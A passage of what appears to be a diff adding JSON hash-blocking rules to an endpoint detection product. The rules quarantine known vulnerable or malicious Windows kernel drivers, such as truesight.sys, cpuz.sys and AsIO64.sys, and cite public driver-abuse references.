+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c55590fa-a151-554a-9f90-c5b100baf586",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985777Z",
+  "creation_date": "2026-03-23T11:45:29.985779Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985785Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b8807e365be2813b7eccd2e4c49afb0d1e131086715638b7a6307cd7d7e9556c",
+  "comment": "Malicious Kernel Driver (aka wfshbr64.sys) [CVE-2022-42046] [https://github.com/kkent030315/CVE-2022-42046] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c559153d-1f34-50fe-aa02-a6b6f5e650ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490437Z",
+  "creation_date": "2026-03-23T11:45:31.490439Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490444Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d48cf5f3deb5404e2020f2bf68c4c7f36b183b0c0fdcbb4e99bfef9d10ce51d0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c56cc959-3c0f-506e-b50d-3b0dc0f19bb2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826729Z",
+  "creation_date": "2026-03-23T11:45:31.826731Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826737Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4215f0b6a23010731723be817cbd4258377f183b4253496917013cb471b9099a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c5742ce7-6f64-5aaf-981c-a159b91a1545",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812857Z",
+  "creation_date": "2026-03-23T11:45:31.812859Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812865Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "97a1b74fb41d4ef4838b85283f096151fc675edaa5e2190200f17c25583162d8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c57741f6-fc0c-5d7f-af50-04d454d2b358",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150789Z",
+  "creation_date": "2026-03-23T11:45:31.150791Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150797Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "202a6dfbf79ffe81b5c6528989eb2e1654a396dbbbaa5c7579e0e93c64869e16",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c57bd092-c111-5a12-898e-c0cc62bc2c8d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472409Z",
+  "creation_date": "2026-03-23T11:45:31.472412Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472421Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1332d398824663df3b9bef3bb5f26fbeac2883c49b2ca832a9c4db4c572eabc6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c57ca051-ec3c-5e24-8488-399c1c32691f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461526Z",
+  "creation_date": "2026-03-23T11:45:30.461529Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461538Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7113dee11925b346192f6ee5441974db7d1fe9b5be1497a6b295c06930fdd264",
+  "comment": "Vulnerable Kernel Driver (aka netfilterdrv.sys) [https://www.loldrivers.io/drivers/f1dcb0e4-aa53-4e62-ab09-fb7b4a356916/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c584c05e-bbd7-5c27-81dc-36e60fd669bf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492268Z",
+  "creation_date": "2026-03-23T11:45:31.492270Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492275Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0386ed36fdd44d7645fe5ef420d885a2a1e74cb77074274734cd36dd3fbb10f4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c5882499-3776-58db-8c3f-b7d80449e972",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473779Z",
+  "creation_date": "2026-03-23T11:45:30.473785Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473797Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1cad825ef477bdbafda6be0bbe9149d915560077d9017655fdb7f2233da9ad01",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c599e9d4-4ff6-5842-aa0a-8fc6d5e8e57e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143042Z",
+  "creation_date": "2026-03-23T11:45:32.143044Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143049Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6c6a4d07e95ab4212c2afefcb0ce37dc485fa56120b0419b636bd8bd326038c1",
+  "comment": "Vulnerable Kernel Driver (aka msr.sys) [https://www.loldrivers.io/drivers/ee6fa2de-d388-416c-862d-24385c152fad/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c5a40e4b-69e6-52f6-b7c3-75af42a9a819",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835825Z",
+  "creation_date": "2026-03-23T11:45:30.835826Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835832Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "49a0e50f8d434282b7393389a08e55aa430c2bfadfaafc5d747fcadcdb9869ed",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c5ad0236-4dc3-5056-96a5-e3af9336e172",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982177Z",
+  "creation_date": "2026-03-23T11:45:29.982180Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982188Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0a3090ae46b3ce5f4cc6ba2d4dd265033e23c813d5c1e9c7a20a84d5d167dae3",
+  "comment": "Vulnerable Kernel Driver (aka rwdrv.sys) [https://www.loldrivers.io/drivers/b03798af-d25a-400b-9236-4643a802846f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c5ae0724-cdd1-5570-997e-c7645c559254",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455108Z",
+  "creation_date": "2026-03-23T11:45:30.455111Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455120Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "93d99a5fbfc888c0a40a18946933121ae110229dcf206b4d17116a57e7cf4dc9",
+  "comment": "Vulnerable Kernel Driver (aka Netfilter.sys) [https://www.loldrivers.io/drivers/9454a752-233e-4ba2-b585-8da242bf8f31/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c5b47207-b5ce-53b8-9df8-e0571a109f3f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816062Z",
+  "creation_date": "2026-03-23T11:45:30.816064Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816070Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5cbe195ef5e86f705c8290602ae688e1835e7385ed68ae264c4795e425c1645f",
+  "comment": "Vulnerable Kernel Driver (aka ecsiodriverx64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c5c497cb-b547-5844-961c-6893f2428abf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490574Z",
+  "creation_date": "2026-03-23T11:45:31.490576Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490582Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ea66dc3a26e2e6a325f2e738cf22fbb90069d30ee2d678abe9ce89ede145834e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c5ce6fab-58a5-5a25-97d9-03cf56029eed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606226Z",
+  "creation_date": "2026-03-23T11:45:29.606228Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606234Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6b830ea0db6546a044c9900d3f335e7820c2a80e147b0751641899d1a5aa8f74",
+  "comment": "Vulnerable Kernel Driver (aka PanIOx64.sys) [https://www.loldrivers.io/drivers/93c84c08-4683-493d-abf7-22dc2d1cb567/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c5d3ef2a-d9f6-510f-9847-e89d3e98b3e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814066Z",
+  "creation_date": "2026-03-23T11:45:31.814069Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814078Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "89f59c4e933d8d39133a7c6505b28c774f72a92234d4a4228f17834dc7389307",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c5d40ff1-8f13-5354-a023-926a43dc0fa4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621350Z",
+  "creation_date": "2026-03-23T11:45:29.621352Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621358Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "906d8412b357379db9512e3f584fcda1f788acc1337e5b4d4eff5e6fa59324a6",
+  "comment": "ASUSTeK vulnerable physmem driver (aka AsIO64.sys) [https://www.loldrivers.io/drivers/79692987-1dd0-41a0-a560-9a0441922e5a/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c5eff58b-3ced-524d-b433-4e1046cbe0fb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832764Z",
+  "creation_date": "2026-03-23T11:45:30.832766Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832772Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "286a58f44c92c7d30f0aa61c959889a439e93cbc487f447306be06b20825b7c1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c612c7df-d9f9-5551-8eb7-3ff8eb679766",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618133Z",
+  "creation_date": "2026-03-23T11:45:29.618135Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618141Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "79aa2cedd1b8415ba6d00f4b3601e2363c8bdd07f860a3b8de010f9e5187c0e9",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c61ef844-42bf-569f-b0be-ee208967a37e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156860Z",
+  "creation_date": "2026-03-23T11:45:31.156862Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156867Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1d6c2b4360c50e865572f736c262601b8ae92ebea8c2d4428dc6dddefa2a570d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c62259cb-056a-530e-a73a-e56fb274c675",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820408Z",
+  "creation_date": "2026-03-23T11:45:31.820411Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820420Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cfb9e69e73e12b098be099971e13f41d5b1de3509c0b3578a1192f6cd28d73fc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c6230b77-721b-530b-b10c-1ffdb6ce1ce1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
